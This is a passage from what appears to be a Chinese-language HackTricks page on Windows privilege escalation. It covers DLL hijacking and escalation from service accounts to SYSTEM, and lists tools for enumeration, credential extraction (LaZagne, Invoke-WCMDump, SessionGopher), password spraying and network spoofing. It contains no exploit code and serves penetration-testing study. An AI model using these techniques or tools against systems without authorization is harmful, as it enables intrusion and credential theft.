如果你设法 hijack a dll(被以 SYSTEM 身份运行的 process 所 加载),你将能够以该权限执行任意代码。因此 Dll Hijacking 对此类权限提升也很有用,而且从 high integrity 进程实现起来更加容易,因为它将对用于加载 dll 的文件夹具有 写权限。
你可以 learn more about Dll hijacking here.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
Read: https://github.com/itm4n/FullPowers
More help
Useful tools
寻找 Windows 本地提权向量的最佳工具: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) – 检查错误配置和敏感文件(check here)。Detected.
JAWS – 检查一些可能的错误配置并收集信息(check here)。
privesc – 检查错误配置
SessionGopher – 提取 PuTTY、WinSCP、SuperPuTTY、FileZilla 和 RDP 保存的会话信息。在本地使用 -Thorough。
Invoke-WCMDump – 从 Credential Manager 提取凭证。Detected.
DomainPasswordSpray – 在域内对收集到的密码进行密码喷洒
Inveigh – Inveigh 是一个 PowerShell ADIDNS/LLMNR/mDNS/NBNS 欺骗与中间人工具。
WindowsEnum – 基本的 Windows 提权 枚举Sherlock ~~~~ – 搜索已知的提权漏洞(已弃用,使用 Watson)WINspect – 本地检查 (需要 Admin 权限)
Exe
Watson – 搜索已知的提权漏洞(需要用 VisualStudio 编译)(precompiled)
SeatBelt – 枚举主机以查找错误配置(更偏向信息收集工具而非提权)(需要编译)(precompiled)
LaZagne – 从大量软件中提取凭证(GitHub 上有预编译的 exe)
SharpUP – 将 PowerUp 移植到 C#Beroot ~~~~ – 检查错误配置(GitHub 上有预编译可执行文件)。不推荐。它在 Win10 上表现不佳。Windows-Privesc-Check – 检查可能的错误配置(Python 打包为 exe)。不推荐。它在 Win10 上表现不佳。
Bat
winPEASbat – 基于这篇文章创建的工具(不需要 accesschk 也能正常工作,但可以使用它)。
Local
Windows-Exploit-Suggester – 读取 systeminfo 的输出并推荐可用的 exploit(本地 python)
Windows Exploit Suggester Next Generation – 读取 systeminfo 的输出并推荐可用的 exploit(本地 python)
Meterpreter
multi/recon/local_exploit_suggestor
你必须使用正确版本的 .NET 来编译该项目(see this)。要查看目标主机上安装的 .NET 版本,你可以执行:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
参考资料
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


